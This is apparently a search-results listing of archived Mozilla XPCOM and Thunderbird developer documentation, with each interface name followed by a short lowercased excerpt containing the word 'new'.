nsautoref has a role similar to nsautoptr and nsrefptr but does not require that the handle is a pointer to an object that was created with new or has addref() and release() methods.
Alloc
return values this function is infallible, therefore guaranteed to return a pointer to the newly allocated buffer.
nsMemory
realloc the realloc function reallocates a block of memory to a new size.
RefPtr
instead of using "do_queryinterface()" (which is used for nscomptrs), use "do_queryobject()", which works with refptrs: // let's say nsfoo implements nsifoo and nsibar xpcom interfaces: refptr<nsfoo> foo = new nsfoo(); nscomptr<nsibar> bar(do_queryobject(foo)); moz_assert(bar, "yikes someone changed the base classes of nsfoo"); can i queryinterface an nscomptr back to a refptr?
IAccessible2
if the role is the same for two controls that are adjacent in the tab order, this can be used to detect the new control.
IAccessibleEditableText
the old attributes are replaced by the new list of attributes.
amIWebInstallListener
the registered amiwebinstalllistener is used to notify about new installs triggered by websites.
imgIEncoder
blend=[source|over] -- default: "source" how to render the new frame on the canvas.
imgILoader
cachekey arequest a newly created, unused imgirequest object or null for one to be created for you.
inIDOMUtils
the new source string for the style sheet.
jsdIStackFrame
isconstructing boolean true if stack frame is constructing a new object.
mozIAsyncFavicons
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifaviconservice handles this interface, so you do not need to directly create a new service.
mozIJSSubScriptLoader
loadsubscriptwithoptions() same as loadsubscript(), except that parameters after url are expressed as an object, and a new ignorecache option is available.
mozISpellCheckingEngine
implement this interface to add support for a new spell checking engine.
mozIStorageAggregateFunction
nscomptr<mozistoragefunction> func = new standarddeviationfunc(); ns_ensure_true(func, ns_error_out_of_memory); nsresult rv = dbconn->createfunction( ns_literal_cstring("stddev"), 1, func ); ns_ensure_success(rv, rv); // run some query that uses the function.
mozIStorageBindingParams
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create mozistoragebindingparams objects by calling the mozistoragebindingparamsarray.newbindingparams().
nsIAbCard
see //github.com/realityripple/uxp/blob/master//mailnews/addrbook/public/nsiabcard.idl for more details.
nsIAccessibleDocument
acancreate if true, this method can create a new accessible.
nsIAccessibleEvent
event_text_caret_moved 0x0033 0x002f the caret has moved to a new position.
nsIAccessibleProvider
outerdoc 0x00000001 for elements that spawn a new document.
nsIAccessibleValue
boolean setcurrentvalue( in double value ); parameters value new value for current value.
nsIAppShell
alisten pr_true for a new queue wanting hooking up.
nsIArray
return value a new enumerator positioned at the start of the array.
nsIAuthInformation
previous_failed 16 we have already tried to log in for this channel (with auth values from a previous promptauth call), but it failed, so we now ask the user to provide a new, correct login.
nsIAuthPrompt
if a username is specified (http://user@site.com) it will be used when matching existing logins or saving new ones.
nsIAutoCompleteListener
new code should use toolkit autocomplete interfaces.
nsIAutoCompleteObserver
onupdatesearchresult() called to update with new results.
nsIBlocklistPrompt
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void prompt([array, size_is(acount)] in nsivariant aaddons, [optional] in pruint32 acount); methods prompt() prompt the user about newly blocked addons.
nsICachingChannel
a cache key retrieved from a particular instance of nsicachingchannel could be set on another instance of nsicachingchannel provided the underlying implementations are compatible and provided the new channel instance was created with the same uri.
nsIChannelPolicy
channels can be created with this interface placed in the property bag and upon redirect, the interface can be transferred from the old channel to the new channel.
nsICommandLineHandler
the text should have embedded newlines which wrap at 76 columns, and should include a newline at the end.
nsIComponentManager
unlike getservice, this returns a new instance each time it is called.
nsIContentPrefObserver
avalue the preference's new value.
nsIContentView
note: when this view becomes inactive, the new content view will have scroll values that are reset to the default.
nsIContentViewer
close() should be called when the load of a new page for the next content viewer begins, and destroy() should be called when the next content viewer replaces this one.
nsICookiePermission
aaccess the new cookie access permissions for the uri.
nsICryptoHMAC
updatefromstream() calculates and updates a new hash based on a given data stream.
nsICryptoHash
updatefromstream() calculates and updates a new hash based on a given data stream (nsiinputstream).
nsIDOMGeoPositionCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void handleevent(in nsidomgeoposition position); methods handleevent() called when new position information is available.
nsIDOMStorage
if the key does not already exist, a new key is added, associated with the specified value.
nsIDOMStorage2
if the key does not already exist, a new key is added, associated with the specified value.
nsIDOMStorageEventObsolete
method overview void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring newvaluearg, in domstring urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the event represents a change to session storage.
nsIDOMWindow
starting in firefox 3, dom windows are actually based on nsidomwindow2, which is a subclass of nsidomwindow that adds some new features to this interface.
nsIDOMWindow2
inherits from: nsidomwindow last changed in gecko 1.9 (firefox 3) because nsidomwindow is frozen, this interface was introduced in firefox 3 (gecko 1.9) to allow dom windows to take on new features.
nsIDOMXPathEvaluator
using null will create a new nsixpathresult.
nsIDOMXPathExpression
using null will create a new nsidomxpathresult.
nsIDeviceMotionListener
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void onmotionchange(in nsidevicemotiondata amotiondata); methods onmotionchange() called when new orientation or acceleration data is available.
nsIDialogParamBlock
void setnumberstrings( in print32 innumstrings ); parameters innumstrings the new maximum number of strings to pass.
nsIDictionary
if the key is already present, the new value replaces the old one.
nsIDirIndexParser
listener nsidirindexlistener the interface to use as a callback for new entries.
getFile
this change was required in order to comply with apple's new gatekeeper v2 rules; without this change, firefox would not work on any mac os x newer than 10.9.4.
nsIDownloadManagerUI
reason_new_download 1 when opening the download manager user interface, this value indicates that the user interface is being displayed because a new download is being started.
ExtensionManager (Toolkit)
note: this api is obsolete starting in gecko 2.0, and has been replaced by the new add-on manager.
nsIExternalProtocolService
-nickolay <pre> // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("tlcxp")) { // handler for http:// urls exists } else { // suppress external-load warning for standard browser schemes pref("network.protocol-handler.external.tlcxp", t...
nsIFeed
toolkit/components/feeds/public/nsifeed.idlscriptable this interface represents a single atom or rss (really simple syndication) news feed.
nsIFeedEntry
toolkit/components/feeds/public/nsifeedentry.idlscriptable this interface describes a single entry in an rss or atom news feed, providing attributes allowing access to the entry's data.
nsIFeedGenerator
toolkit/components/feeds/public/nsifeedgenerator.idlscriptable this interface describes the software that generated an rss or atom news feed.
nsIFilePicker
widget/nsifilepicker.idlscriptable the file picker component is used to display standard user interface for selecting files and directories, as well as for selecting destinations for, and naming, new files.
nsIHttpChannelInternal
the arguments to nsihttpupgradelistener.ontransportavailable() provide to the new protocol the low level transport streams that are no longer used by http.
nsIHttpHeaderVisitor
s.ns_binding_aborted; this.nsihttpchannel = components.interfaces.nsihttpchannel; this.nsichannel = components.interfaces.nsichannel; this.nsirequest = components.interfaces.nsirequest; }; myhttprequestobserver.prototype.observe = function ( subject, topic, data ) { var uri, avisitor; if ( subject instanceof this.nsihttpchannel ) { avisitor = new mynsihttpheadervisitor( ); subject.visitresponseheaders( avisitor ); if ( avisitor.isflash( ) ) { uri = subject.uri; subject.cancel( this.aborted ); alert( "found flash!" ); //handle flash file here } } }; myhttprequestobserver.prototype.register = function ( ) { var observerservice = components...
nsIHttpServer
.createinstance(components.interfaces.nsilocalfile); file.initwithpath(directorypath); return server.registerdirectory(path, file); }, registerpathhandler: function(path, handlercallback) { server.registerpathhandler(path, function (request, response) { var req = createhttprequest(request); var resp = new httpresponse(response); handlercallback(req, resp); }); }, registerprefixhandler: function(prefix, handlercallback) { server.registerprefixhandler(prefix, function (request, response) { var req = createhttprequest(request); var resp = new httpresponse(response); handlercallback...
nsIHttpUpgradeListener
void ontransportavailable( in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout ); parameters atransport the nsisockettransport describing the socket connection between the browser and the server; this socket can now be used for the new protocol instead of http.
nsIInstallLocation
you should not use the exact values here, you should offset from these values each time you create a new install location.
nsIJetpack
return value the new handle.
nsIJumpListBuilder
callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild().
nsILoadGroup
methods addrequest() adds a new request to the group.
nsILocalFile
return value if the file is successfully opened, returns a pointer to the prfiledesc created for the newly opened file.
nsILoginInfo
init() initializes a newly created nsilogininfo object.
nsIMIMEInputStream
the cursor of the new stream should be located at the beginning of the stream if the implementation of the nsimimeinputstream also is used as an nsiseekablestream.
nsIMemoryReporterManager
er); void unregisterreporter(in nsimemoryreporter reporter); attributes attribute type description explicit print64 gets the total size of explicit memory allocations, both at the operating system level (for example, via mmap, virtualalloc) and at the heap level (for example, via malloc(), calloc(), operator new).
nsIMessenger
the nsimessenger interface provides functions for managing the history, undo and redo operations, and for loading, saving, or deleting messages and attachments in mailnews.
nsIMicrosummaryService
in the new places-based datastore, they are nsiuri objects.
nsIMimeHeaders
nsimimeheaders mailnews/mime/public/nsimimeheaders.idlscriptable ???
nsIMsgDBViewCommandUpdater
mailnews/base/public/nsimsgdbview.idl#349scriptable please add a summary to this article.
nsIMsgFilter
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority..
nsIMsgFilterCustomAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfiltercustomaction.idl interface nsimsgfiltercustomaction : nsisupports { /* globally unique string to identify this filter action.
nsIMsgRuleAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsimsgruleaction : nsisupports { attribute nsmsgruleactiontype type; // target priority..
nsIMsgSearchCustomTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchcustomterm.idl attributes id /** * globally unique string to identify this search term.
nsIMsgSearchScopeTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchscopeterm.idl [scriptable, uuid(934672c3-9b8f-488a-935d-87b4023fa0be)] interface nsimsgsearchscopeterm : nsisupports { nsiinputstream getinputstream(in nsimsgdbhdr ahdr); void closeinputstream(); readonly attribute nsimsgfolder folder; readonly attribute nsimsgsearchsession searchsession; }; ...
nsIMsgSearchTerm
defined in mozilla/ mailnews/ base/ search/ public/ nsimsgsearchterm.idl attributes attrib attribute nsmsgsearchattribvalue attrib; op attribute nsmsgsearchopvalue op; value attribute nsimsgsearchvalue value; booleanand attribute boolean booleanand; arbitraryheader attribute acstring arbitraryheader; hdrproperty /** * not to be confused with arbitraryheader, which is a header in the * rfc822 message.
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsIMsgThread
subject acstring subject of the thread newestmsgdate unsigned long numchildren unsigned long readonly: number of messages in the thread.
nsIMsgWindow
mailnews/base/public/nsimsgwindow.idlscriptable please add a summary to this article.
nsIObserver
observer = new myobserver(); destruction - this should be fired once you're done observing (for example a window's unload event).
nsIParentalControlsService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: currently, this interface is only supported on microsoft windows vista and newer as well as android 4.3 and newer.
nsIPermissionManager
the subject is the new nsipermission.
nsIPipe
ns_newpipe2() and ns_newpipe() provide convenient pipe constructors for c++.
nsIPlacesImportExportService
void exporthtmltofile( in nsilocalfile afile ); parameters afile an nsilocalfile indicating where to save the new bookmarks.html file.
nsIPlacesView
insertionpoint insertionpoint the insertionpoint at which new items will be inserted upon drop, paste, or creation.
Component; nsIPrefBranch
asubject.get*pref(adata) will get the new value of the modified preference.
nsIPrefBranch2
asubject.get*pref(adata) will get the new value of the modified preference.
nsIPrintingPrompt
historically, platform toolkits with native dialogs have implemented them in the gfx layer usually they were displayed when a new devicecontextspec specific to that platform was created.
nsIProcess
gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method returned the process id of the newly executing process.
nsIPrompt
to get an instance, call the nsiwindowwatcher.getnewprompter().
nsIPushService
if the subscription is lost, and your code isn't listening for this notification, you won't be able to receive messages until you create a new subscription.
nsIPushSubscription
isexpired() indicates whether this subscription has expired and must be renewed.
nsISHEntry
void settitle( in astring atitle ); parameters atitle setuniquedocidentifier() changes this entry's doc identifier to a new value which is unique among those of all other entries.
nsIScreen
void lockminimumbrightness( in unsigned long brightness ); parameters brightness the new minimum brightness level; this must be one of the values specified in screen brightness constants.
nsIScriptableUnescapeHTML
return value an nsidomdocumentfragment of the element with the new text appended.
nsISearchEngine
this should only be called on engines created via nsibrowsersearchservice.addenginewithdetails().
nsIServerSocketListener
netwerk/base/public/nsiserversocket.idlscriptable this interface is notified whenever a server socket accepts a new connection.
nsISmsRequestManager
createrequest() create a new request object.
nsISocketTransport
s_connected_to 0x804b0004 status_sending_to 0x804b0005 status_waiting_for 0x804b000a status_receiving_from 0x804b0006 connection flags values for the connectionflags attribute constant value description bypass_cache 0 when making a new connection bypass_cache will force the necko dns cache entry to be refreshed with a new call to nspr if it is set before opening the new stream.
nsISound
stance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsiurl aurl); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives email.
nsIStringBundleService
multiple arguments can be separated by newline ('\n') characters.
nsISupports proxies
} so, given an event queue to execute methods on, and either an nsisupports object that has been created or cid, and a flag, a new nsisupports proxy object will be returned to you.
nsISyncMessageSender
new rpc messages may be issued even if, earlier on the call stack, we are waiting for a reply to an earlier sendrpcmessage() call.
nsITextInputProcessorNotification
when gecko supports new notification to ime, this interface may have some new attributes.
nsIThread
exceptions thrown ns_error_unexpected shutdown() was erroneously called from within the thread itself, the thread was not created with the thread manager's nsithreadmanager.newthread() method, or the thread is already in the process of being shut down.
nsIThreadPool
when you send events to the thread pool, the pool creates a new thread to process the event, up to the number of threads specified by the threadlimit attribute.
nsITimer
however this timer type guarantees that it will not queue up new events to fire the callback until the previous callback event finishes firing.
nsIToolkit
null can be passed in, in which case a new thread gets created and a message pump will run in that thread.
nsIURL
/ \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocomp...
nsIUpdatePatch
"complete" a complete patch containing all the replacement files to update to the new version.
nsIWebBrowser
embedders use this interface during initialization to associate the new web browser instance with the embedders chrome and to register any listeners.
nsIWebBrowserChrome3
return value a new link target, if appropriate.
nsIWebNavigation
it provides methods and attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has previously gone.
nsIXMLHttpRequest
file or some file you want to download and make a nsiarraybufferinputstream out of it or something xhr.send(null); } xhr('https://www.gravatar.com/avatar/eb9895ade1bd6627e054429d1e18b576?s=24&d=identicon&r=pg&f=1', data => { services.prompt.alert(null, 'xhr success', data); var file = os.path.join(os.constants.path.desktopdir, "test.png"); var promised = os.file.writeatomic(file, new uint8array(data)); promised.then( function() { alert('succesfully saved image to desktop') }, function(ex) { alert('failed in saving image to desktop') } ); }); ...
nsIXSLTProcessor
value the new value of the xslt parameter.
nsIXULAppInfo
this has traditionally been in the form "{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}" but for new applications a more readable form is encouraged: "appname@vendor.tld".
nsIXULBrowserWindow
this may be used, for example, to redirect links into new tabs or windows when it's not desirable to replace the content in the current tab (such as when the link is clicked in an app tab).
nsIZipReader
instance(ci.nsizipreader); cu.import('resource://gre/modules/osfile.jsm'); cu.import('resource://gre/modules/fileutils.jsm'); var reusablestreaminstance = cc['@mozilla.org/scriptableinputstream;1'].createinstance(ci.nsiscriptableinputstream); var pathtoxpitoread = os.path.join(os.constants.path.profiledir, 'extensions', 'portabletester@jetpack.xpi'); var nsifilexpi = new fileutils.file(pathtoxpitoread); //services.ww.activewindow.alert(pathtoxpitoread); try { zr.open(nsifilexpi); //if file dne it throws here var entries = zr.findentries('*'); //we use asterik because we want everything listed out while (entries.hasmore()) { var entrypointer = entries.getnext(); //just a string of "zip path" (this means path to file in z...
nsMsgFilterFileAttribValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl const nsmsgfilterfileattribvalue attribnone = 0; const nsmsgfilterfileattribvalue attribversion = 1; const nsmsgfilterfileattribvalue attriblogging = 2; const nsmsgfilterfileattribvalue attribname = 3; const nsmsgfilterfileattribvalue attribenabled = 4; const nsmsgfilterfileattribvalue attribdescription = 5; const nsmsgfilterfileattribvalue attribtype = 6; const nsmsgfilterfileattribvalue attribscriptfile = 7; const nsmsgfilterfileattribvalue attribaction = 8; const nsmsgfilterfileattribvalue attribactionvalue = 9; const nsmsgfilterfileattribvalue attribcondition = 10; const nsmsgfilterfileattribvalue attribcustomid = 11; ...
nsMsgJunkStatus
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsgjunkstatus; typedef unsigned long nsmsgjunkscore; ...
nsMsgKey
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsgkey; ...
nsMsgLabelValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long nsmsglabelvalue; ...
nsMsgPriorityValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef long nsmsgpriorityvalue; [scriptable, uuid(94c0d8d8-2045-11d3-8a8f-0060b0fc04d2)] interface nsmsgpriority { const nsmsgpriorityvalue notset = 0; const nsmsgpriorityvalue none = 1; const nsmsgpriorityvalue lowest = 2; const nsmsgpriorityvalue low = 3; const nsmsgpriorityvalue normal = 4; const nsmsgpriorityvalue high = 5; const nsmsgpriorityvalue highest = 6; // the default for a priority picker const nsmsgpriorityvalue default = 4; }; ...
nsMsgRuleActionType
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgfiltercore.idl typedef long nsmsgruleactiontype; [scriptable, uuid(59af7696-1e28-4642-a400-fa327ae0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=11...
nsMsgSearchOp
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface nsmsgsearchop { const nsmsgsearchopvalue contains = 0; /* for text attributes */ const nsmsgsearchopvalue doesntcontain = 1; const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority.
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchterm(nsmsgsearchterm); // please note the !
nsMsgSearchTypeValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl used to specify type of search to be performed [scriptable,uuid(964b7f32-304e-11d3-ae13-00a0c900d445)] interface nsmsgsearchtype { const nsmsgsearchtypevalue none = 0; const nsmsgsearchtypevalue rootdse = 1; const nsmsgsearchtypevalue normal = 2; const nsmsgsearchtypevalue ldapvlv = 3; const nsmsgsearchtypevalue namecompletion = 4; }; ...
nsMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchvalue(nsmsgsearchvalue); %{c++ typedef struct nsmsgsearchvalue { nsmsgsearchattribvalue attribute; union { nsmsgpriorityvalue priority; prtime date; pruint32 msgstatus; /* see msg_flag in msgcom.h */ pruint32 size; nsmsgkey key; print32 age; /* in days */ nsimsgfolder *folder; nsmsglabelvalue label; pruint32 junkstatus; pruint32 junkpercent; } u; char *string; } nsmsgsearchvalue; ...
nsMsgSearchWidgetValue
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl fes use this to help build the search dialog box typedef long nsmsgsearchwidgetvalue; /* fes use this to help build the search dialog box */ [scriptable,uuid(903dd2e8-304e-11d3-92e6-00a0c900d445)] interface nsmsgsearchwidget { const nsmsgsearchwidgetvalue text = 0; const nsmsgsearchwidgetvalue date = 1; const nsmsgsearchwidgetvalue menu = 2; const nsmsgsearchwidgetvalue int = 3; /* added to account for age in days which requires an integer field */ const nsmsgsearchwidgetvalue none = 4; }; ...
NS_CStringCopy
asrcstring [in] a nsacstring instance containing the new string value.
NS_CStringSetDataRange
example // replace all occurances of |matchval| with |newval| void replacesubstring(nsacstring& str, const nsacstring& matchval, const nsacstring& newval) { const char* sp, *mp, *np; pruint32 sl, ml, nl; sl = ns_cstringgetdata(str, &sp); ml = ns_cstringgetdata(matchval, &mp); nl = ns_cstringgetdata(newval, &np); for (const char* iter = sp; iter <= sp + sl - ml; ++iter) { if (memcmp(iter, m...
NS_StringCopy
asrcstring [in] a nsastring instance containing the new string value.
NS_StringSetDataRange
example code // replace all occurances of |matchval| with |newval| void replacesubstring(nsastring& str, const nsastring& matchval, const nsastring& newval) { const prunichar* sp, *mp, *np; pruint32 sl, ml, nl; sl = ns_stringgetdata(str, &sp); ml = ns_stringgetdata(matchval, &mp); nl = ns_stringgetdata(newval, &np); for (const prunichar* iter = sp; iter <= sp + sl - ml; ++iter) ...
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsIAbCard/Thunderbird3
value the new value of the property.
nsMsgMessageFlags
new 0x00010000 indicates whether or not the message is new since the last time the folder was opened.
nsMsgSearchOpValue
nsmsgsearchopvalue defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl 146 typedef long nsmsgsearchopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface nsmsgsearchop { 150 const nsmsgsearchopvalue contains = 0; /* for text attributes */ 151 const nsmsgsearchopvalue doesntcontain = 1; 152 const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority.
nsMsgViewCommandCheckState
mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
nsMsgViewCommandType
for example to mark a message read, you would call: // assuming gdbview is a global nsimsgdbview gdbview.docommand(components.interfaces.nsmsgviewcommandtype.markmessagesread); mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
nsMsgViewSortOrder
for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsortorder.ascending mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
nsMsgViewSortType
for example to sort by date you would pass a function the value: components.interfaces.nsmsgviewsorttype.bydate mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
Setting HTTP request headers
queryinterface: function (aiid) { if (!aiid.equals(components.interfaces.nsisupports) && !aiid.equals(components.interfaces.nsifactory)) throw components.results.ns_error_no_interface; return this; }, createinstance: function (outer, iid) { log("----------------------------> createinstance"); return new myhttplistener(); } }, canunload: function(compmgr) { return true; } }; function nsgetmodule(compmgr, filespec) { return mymodule; } privacy and security good practice a use case for setting specific a http request header is to have a specific web site be able to check if a specific plugin / addon / extension is installed.
Performance
the vacuum command is essentially the same as the command line sqlite3 olddb .dump | sqlite3 newdb; mv newdb olddb.
Using nsCOMPtr
you'll have to turn to the xpcom newsgroup or another experienced nscomptr user, or find the answer by experimentation.
Using the clipboard
const nssupportsstring = components.constructor("@mozilla.org/supports-string;1", "nsisupportsstring"); function supportsstring(str) { // create an instance of the supports-string class var res = nssupportsstring(); // store the javascript string that we want to wrap in the new nsisupportsstring object res.data = str; return res; } // create a constructor for the built-in transferable class const nstransferable = components.constructor("@mozilla.org/widget/transferable;1", "nsitransferable"); // create a wrapper to construct an nsitransferable instance and set its source to the given window, when necessary function transferable(source) { var res = nstransf...
XPCOM ABI
newest information can always be found by exploring the build system.
XPCOM tasks
see in particular, the new ns_interface_map_...
xptcall FAQ
the code is at: xpcom/reflect/xptcall a new porting guide is at: https://developer.mozilla.org/en/xptcall_porting_guide pre-implementation proposals are here and here.
Xptcall Porting Guide
these implementations use the basic strategy of: figure out how much stack space is needed for the params, make the space in a new frame, copy the params to that space, invoke the method, cleanup and return.
pyxpidl
the newer utility has the advantage of not needing any code to be compiled in order to use it, and let us remove a bunch of old code from the tree.
XPIDL
prefer using the array<t> builtin over the [array] attribute for new code.
XSLT 2.0
saxon-b the xsl results extension uses the new incarnation of liveconnect (handled by java 1.6v12+ instead of mozilla-specific code) to connect with the java-based saxon-b library, and adds support for having xslt performed automatically when visiting a page with the appropriate xslt processing instruction (and which isn't processed by firefox's own xslt 1.0 processor).
XTF
MozillaTechXTF
the extensible tag framework (xtf) allows adding support for new namespaces using xpcom components to mozilla (written in javascript or c++).
Autoconfiguration in Thunderbird
the component is actively watched for new bugs (as of november 2015) so there is no need to request review on the file.
Spam filtering
currently, spam filtering is does not work for news, but it would be possible to add support for this.
Thunderbird Binaries
thunderbird current release can be downloaded from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded from https://releases.mozilla.org/pub/thunderbird/releases/ early preview releases whilst writing new versions of thunderbird, developers release preview versions, known as betas.
Building a Thunderbird extension 1: introduction
see developer.thunderbird.net for newer information.
Building a Thunderbird extension 2: extension file layout
see developer.thunderbird.net for newer information.
Access Thunderbird Window Areas
var foldertree = getfoldertree(); var searchinput = getsearchinput(); var messagepane = getmessagepane(); var messagepaneframe = getmessagepaneframe(); var mailtoolbox = getmailtoolbox(); var currentmsgfolder = getloadedmsgfolder(); see the msgmail3panewindow.js for other helper methods ...
Theme Packaging
--> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>0.9</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>new theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepageurl>http://www.bengoodger.com/</em:homepageurl> <!-- front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </description> </rdf> the following are some c...
Thunderbird developer reference docs
folder classes db views (message list) message summary database mailnews protocols mailnews filters ...
Using JS in Mozilla code
js standard library features feature standard can be used in code new proxy(target, handler) es2015 yes, but getprototypeof and setprototypeof handlers are not yet implemented.
Using Mozilla code in other projects
building xul applications the joy of xul an introduction to xul; a must read for new developers.
Using popup notifications
components.utils.import('resource://gre/modules/popupnotifications.jsm'); var notify = new popupnotifications(gbrowser, document.getelementbyid("notification-popup"), document.getelementbyid("notification-popup-box")); var notification = notify.show( // browser gbrowser.selectedbrowser, // popup id "pdes-popup", // message "hi, there!, i'm gonna show you something today!!", // anchor id null, // main action { label: "click here", accesskey:...
Using the Mozilla symbol server
symchk: failed files = 4 symchk: passed + ignored files = 179 downloading symbols on linux / mac os x if you are on linux and running gdb 7.9 or newer, you can use this gdb python script to automatically fetch symbols.
Zombie compartments
create a new profile.
Using COM from js-ctypes
per functions function checkhresult(hr /*primative hresult*/, funcname /*jsstr*/) { // primative because thats what is returned by declared functions that // return hresult hr = hr.tostring(); // makes it primative if (hr < 0) { console.error('hresult', hr, 'returned from function ', funcname /*, 'getstrofresult:', getstrofresult(hr)*/); throw new error('hresult ' + hr + ' returned from function ' + funcname); } } let clsidfromarr = iidfromarr = function(jsarr_pieces) { let guid = guid(); // clsid and iid are same they are guid guid.data1 = parseint(jsarr_pieces[0], 16); guid.data2 = parseint(jsarr_pieces[1], 16); guid.data3 = parseint(jsarr_pieces[2], 16); let j = 2; for (let i=0; i<8; i++) { j++; ...
ctypes.open
